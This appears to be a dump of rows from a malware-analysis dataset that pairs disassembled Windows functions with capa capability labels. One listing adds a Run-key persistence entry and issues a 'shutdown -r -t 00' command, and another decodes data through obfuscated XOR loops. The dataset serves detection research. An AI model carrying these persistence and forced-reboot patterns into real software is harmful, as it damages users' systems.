joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43c4a0
Capabilities:
Query environment variable

Disassembly:
push ecx
push esi
push edi
mov edi, dword [esp + 0x10]
push edi
mov dword [edi + 4], 0
call fcn.0043e5c0
push 0x54
push edi
mov dword [esp + 0x14], eax
call fcn.0043e590
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x43c4e7
push edi
call fcn.0043e5d0
mov ecx, dword [edi]
push edi
mov dword [ecx + 0x14], 0x38
mov ecx, dword [edi]
mov dword [ecx + 0x18], esi
mov eax, dword [edi]
mov eax, dword [eax]
call eax
add esp, 8
mov dword [esi], fcn.0043c130
mov dword [esi + 4], fcn.0043bfc0
mov dword [esi + 8], fcn.0043c090
mov dword [esi + 0xc], fcn.0043bf10
mov dword [esi + 0x10], 0x43c800
mov dword [esi + 0x14], 0x43c790
mov dword [esi + 0x18], 0x43c5f0
mov dword [esi + 0x1c], 0x43bdc0
mov dword [esi + 0x20], 0x43bc70
mov dword [esi + 0x24], 0x43c3a0
mov dword [esi + 0x28], 0x43c870
mov dword [esi + 0x30], 0x3b9aca00
mov eax, dword [esp + 8]
mov dword [esi + 0x2c], eax
mov dword [esi + 0x38], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0x54
push str.JPEGMEM
mov dword [edi + 4], esi
call dword [sym.imp.MSVCRT.dll_getenv]
add esp, 4
test eax, eax
je 0x43c5ca
lea ecx, [esp + 0x10]
mov byte [esp + 0x10], 0x78
push ecx
lea ecx, [esp + 0xc]
push ecx
push str._ld_c
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
add esp, 0x10
test eax, eax
jle 0x43c5ca
mov al, byte [esp + 0x10]
cmp al, 0x6d
je 0x43c5b9
cmp al, 0x4d
mov eax, dword [esp + 8]
jne 0x43c5c1
imul eax, dword [esp + 8], 0x3e8
imul eax, eax, 0x3e8
mov dword [esi + 0x2c], eax
pop edi
pop esi
pop ecx
ret
Function at 0x4529e4
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x4c1dd0], 0
push ebx
push esi
mov esi, 0x4c1dd8
jne 0x452a10
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
push esi
mov dword [0x4c1df0], eax
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
mov dword [0x4c1dd0], 1
push dword [0x4c1df0]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x452aad
push 0x14
push 8
push dword [0x4c0108]
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x452ad7
push esi
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov eax, dword [0x4c1dd4]
test eax, eax
je 0x452a52
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x4c1dd4], ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x452adc
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_RegisterWaitForSingleObject]
push ebx
push dword [0x4c1df0]
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x4c0108]
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
test eax, eax
je 0x452ad7
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x452fb9
Capabilities:
Set thread local storage value

Disassembly:
push esi
push 0x184
push 8
push dword [0x4c0108]
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
push esi
push dword [0x4c1ee4]
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
push dword [esp + 8]
mov dword [0x4c1ee8], esi
and dword [esi + 0xa8], 0
or dword [esi + 0xac], 0xffffffff
or dword [esi + 0xb0], 0xffffffff
push esi
mov dword [esi + 0xa4], 0xffffff
mov dword [esi + 0x74], 2
mov dword [esi + 0x78], 0x3f
call fcn.00455bb5
mov dword [esi + 0x58], 0x453bcc
mov eax, esi
mov dword [esi + 0x5c], 0x453c18
mov dword [esi + 0x10], fcn.0045376d
mov dword [esi + 0x30], 0x45365f
mov dword [esi + 0x64], 0x453ca2
mov dword [esi + 0x60], 0x453c5a
mov dword [esi + 0x34], 0x45330f
mov dword [esi + 0x24], 0x4532e6
mov dword [esi + 0x28], 0x4532bb
mov dword [esi + 0x2c], 0x45320d
mov dword [esi + 0x44], 0x4539d2
pop esi
ret 4
Function at 0x458e49
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
mov edx, dword [esp + 0x2c]
push esi
mov esi, dword [esp + 0x10]
mov eax, dword [esi + 0xd4]
mov dword [esp + 4], eax
test edx, edx
je 0x458eff
imul eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
imul ecx, dword [esp + 0x28]
push ebx
mov ebx, dword [esp + 0x24]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x1c]
neg eax
add ecx, dword [esp + 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x28]
push ebp
push edi
lea edi, [ecx + eax*4]
mov eax, dword [esp + 0x28]
mov ecx, dword [esi + 0xcc]
mov ebp, edi
imul ecx, ebx
add ecx, dword [esi + 0xc8]
add ecx, eax
cmp dword [esp + 0x38], 0
jle 0x458edf
mov edx, dword [esp + 0x38]
mov esi, dword [esp + 0x10]
mov al, byte [ebp + 2]
xor byte [ecx + 2], al
mov al, byte [ebp + 1]
xor byte [ecx + 1], al
mov al, byte [ebp]
lea ebp, [ebp + 4]
xor byte [ecx], al
add ecx, esi
dec edx
jne 0x458eba
mov edx, dword [esp + 0x3c]
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
dec edx
inc ebx
cmp dword [esi + 0xe8], 0
mov dword [esp + 0x3c], edx
jne 0x458ef4
add edi, dword [esp + 0x14]
jmp 0x458ef8
add edi, dword [esp + 0x24]
test edx, edx
jne 0x458e98
pop edi
pop ebp
pop ebx
pop esi
pop ecx
pop ecx
ret 0x24

Function at 0x45920a
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ecx
imul edx, dword [esp + 0x28], 3
push ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 8], edx
test ebx, ebx
je 0x4592e4
imul eax, dword [esp + 0x1c], 3
mov ecx, dword [esp + 0x18]
push ebp
mov ebp, dword [esp + 0x24]
neg ecx
push esi
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x20]
imul eax, dword [esp + 0x30]
push edi
imul edi, dword [esp + 0x30], 3
mov dword [esp + 0x10], ecx
add eax, dword [esp + 0x20]
add edi, eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x38], edi
mov esi, dword [eax + 0xcc]
imul esi, ebp
mov dword [esp + 0x34], edi
add esi, dword [eax + 0xc8]
add esi, dword [esp + 0x28]
test edx, edx
jle 0x4592ba
mov ebp, dword [esp + 0x34]
mov ebx, 0xff
sub ebx, dword [esp + 0x40]
mov edi, edx
movzx eax, byte [esi]
movzx ecx, byte [ebp]
imul ecx, dword [esp + 0x40]
imul eax, ebx
add eax, ecx
mov ecx, 0xff
cdq
idiv ecx
inc ebp
mov byte [esi], al
inc esi
dec edi
jne 0x459282
mov edi, dword [esp + 0x38]
mov ebx, dword [esp + 0x3c]
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
dec ebx
inc ebp
cmp dword [eax + 0xe8], 0
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x2c], ebp
jne 0x4592d1
add edi, ecx
jmp 0x4592d5
add edi, dword [esp + 0x24]
mov dword [esp + 0x38], edi
test ebx, ebx
jne 0x459258
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 0x28
Function at 0x459904
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ecx
push esi
mov esi, dword [esp + 0x30]
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0xd4]
mov dword [esp + 8], eax
test esi, esi
je 0x4599b9
imul eax, dword [esp + 0x20]
imul edx, dword [esp + 0x28], 3
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x24]
neg eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
imul eax, dword [esp + 0x34]
add eax, dword [esp + 0x20]
add edx, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [edi + 0xcc]
mov ebp, edx
imul ecx, ebx
add ecx, dword [edi + 0xc8]
add ecx, eax
cmp dword [esp + 0x38], 0
jle 0x45999a
mov esi, dword [esp + 0x38]
mov edi, dword [esp + 0x10]
mov al, byte [ebp + 2]
xor byte [ecx + 2], al
mov al, byte [ebp + 1]
xor byte [ecx + 1], al
mov al, byte [ebp]
lea ebp, [ebp + 3]
xor byte [ecx], al
add ecx, edi
dec esi
jne 0x459975
mov esi, dword [esp + 0x3c]
mov edi, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
dec esi
inc ebx
cmp dword [edi + 0xe8], 0
mov dword [esp + 0x3c], esi
jne 0x4599af
add edx, dword [esp + 0x14]
jmp 0x4599b3
add edx, dword [esp + 0x24]
test esi, esi
jne 0x459953
pop ebp
pop ebx
pop edi
pop esi
pop ecx
pop ecx
ret 0x24
Function at 0x2315108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.02315258
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x231512e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x231511a
add dl, dl
jne 0x2315139
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x231518c
xor eax, eax
add dl, dl
jne 0x2315146
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x231522d
add dl, dl
jne 0x2315155
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x2315160
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x231516b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x2315176
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x2315182
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x2315125
mov eax, 1
add dl, dl
jne 0x231519a
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x23151a5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2315191
sub eax, ebx
mov ebx, 1
jne 0x23151d8
mov ecx, 1
add dl, dl
jne 0x23151be
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x23151c9
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x23151b5
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2315125
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x23151ef
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x23151fa
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x23151e6
cmp eax, 0x7d00
jae 0x231521d
cmp eax, 0x500
jb 0x2315218
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2315125
cmp eax, 0x7f
ja 0x2315220
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2315125
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x231524e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x2315125
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401460
Capabilities:
Delete registry value
Execute command
Persist via run registry key
Set registry value

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x44
call sym.___main
mov dword [esp + 0xc], 0x1014
mov dword [esp + 8], str.Hahaha_
mov dword [esp + 4], str.Alege_Da_pentru_a_continua_sau_Nu_pentru_a_anula_actiunea
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
cmp eax, 6
sete al
test al, al
je 0x4015cd
mov dword [ebp - 0xc], str.C:UsersRaduDesktopSussyBaka.exe
lea eax, [ebp - 0x1c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401591
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Variabila
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x401568
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], 0xc8
call sym._Sleep_4
sub esp, 4
mov dword [esp], str.shutdown__r__t_00
call sym._system
mov eax, 0
jmp 0x40162a
mov dword [esp + 0xc], 0x1010
mov dword [esp + 8], 0x40511e
mov dword [esp + 4], str.Creare_cheie_esuata
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
jmp 0x4015b8
mov dword [esp + 0xc], 0x1010
mov dword [esp + 8], 0x40511e
mov dword [esp + 4], str.Deschidere_cheie_esuata
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, 0
jmp 0x40162a
lea eax, [ebp - 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], str.Variabila
mov dword [esp], eax
call sym._RegDeleteValueA_8
sub esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret
Function at 0x401ce0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sym._EnterCriticalSection_4
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401d2b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401d24
test esi, esi
je 0x401d24
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401d00
mov dword [esp], 0x407048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401f10
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401f60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402038
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401f9e
cmp eax, 4
jne 0x401fc0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401fae
cmp edx, 4
je 0x401fae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401f10
Function at 0x401123
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [esp + 0x14]
lea eax, [esp + 0x18]
mov edi, ecx
push eax
call fcn.0040117e
xor ebp, ebp
pop ecx
pop ecx
mov ebx, dword [eax]
mov dword [eax], ebp
cmp dword [esp + 0x14], ebp
je 0x401152
push 4
push dword [esp + 0x18]
call fcn.004021ef
pop ecx
pop ecx
lea esi, [edi + 4]
push esi
push ebp
push ebx
push 0x401107
push ebp
push ebp
call fcn.004073c7
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x401174
pop edi
pop esi
pop ebp
pop ebx
ret 4
push 6
mov dword [esi], ebp
call fcn.00401f1c
int3

Function at 0x40157f
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor ebp, ebp
push esi
mov esi, ebp
cmp dword [esp + 0x10], esi
jbe 0x4016ad
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_InitializeAcl]
push edi
mov edi, dword [esp + 0x14]
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0x7f
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x50
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x4c
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xd5
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xcc
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x87
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xe9
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xab
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x91
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xda
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xe6
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x16
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x58
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0x70
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xb0
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x6d
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x1e
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x65
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xe5
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xfc
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xd1
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xbb
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xf9
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x62
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0xd8
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x75
push ebp
push ebp
push ebp
call ebx
xor byte [esi + edi], 0xe8
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x8b
push ebp
push ebp
push ebp
call ebx
add byte [esi + edi], 0x63
inc esi
cmp esi, dword [esp + 0x18]
jb 0x40159b
pop edi
pop ebx
pop esi
pop ebp
ret
Function at 0x4012c0
Capabilities:
Get file attributes

Disassembly:
push 0x41cc18
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
jne 0x4012d4
xor eax, eax
ret 0x10
call section..text
mov eax, 1
ret 0x10
Function at 0x403910
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00403920

Function at 0x403ba0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
test eax, eax
jne 0x403bac
pop ebp
ret
mov dword [ebp + 0xc], eax
pop ebp
jmp fcn.00403bc0

Function at 0x405117
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x405156
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x405156
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x405156
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x405156
cmp dword [ecx + 0x74], 0xe
jbe 0x405156
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x407cd2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00414090
mov eax, dword [0x41f024]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0040a7db
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x407d14
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x407e70
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00404980
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x41fef8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0040ace8
mov ecx, dword [esi*4 + 0x41fef8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x407e69
cmp eax, dword [ecx + edi + 0x24]
jne 0x407e69
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407e69
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0040ace8
add esp, 0x14
test edx, edx
jl 0x407e69
jg 0x407ddf
test eax, eax
jb 0x407e69
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x407e69
jl 0x407df9
cmp dword [ebp - 0x1008], eax
ja 0x407e69
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x407e17
test ebx, ebx
je 0x407e50
cmp ecx, edi
jae 0x407e50
mov al, byte [ecx]
cmp al, 0xd
jne 0x407e31
lea eax, [edi - 1]
cmp ecx, eax
jae 0x407e3d
cmp byte [ecx + 1], 0xa
jne 0x407e3d
inc ecx
jmp 0x407e3d
movzx eax, al
movsx eax, byte [eax + 0x41f1e8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x407e17
cmp edx, ebx
jne 0x407e17
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x407e6e
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040470c
leave
ret
Function at 0x40b38d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x41fef8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40b3cd
cmp byte [ebx], 0xa
jne 0x40b3cd
or byte [edi + eax + 0x28], 4
jmp 0x40b3d2
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x40b4d1
mov dl, byte [eax]
cmp dl, 0x1a
je 0x40b4b4
inc eax
cmp dl, 0xd
je 0x40b3fe
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x40b424
cmp eax, ecx
jae 0x40b432
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x40b3e6
jmp 0x40b4d1
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40b4af
cmp dword [ebp - 0x10], 0
je 0x40b4af
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x41fef8]
test byte [eax + edi + 0x28], 0x48
je 0x40b489
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x40b474
mov byte [esi], dl
jmp 0x40b485
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x41fef8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x40b4d1
cmp byte [ebp - 1], 0xa
jne 0x40b498
cmp esi, ebx
jne 0x40b498
mov byte [esi], 0xa
jmp 0x40b4d0
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040ad06
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x40b4d1
mov byte [esi], 0xd
jmp 0x40b4d0
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x41fef8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x40b4ce
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x40b4d1
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret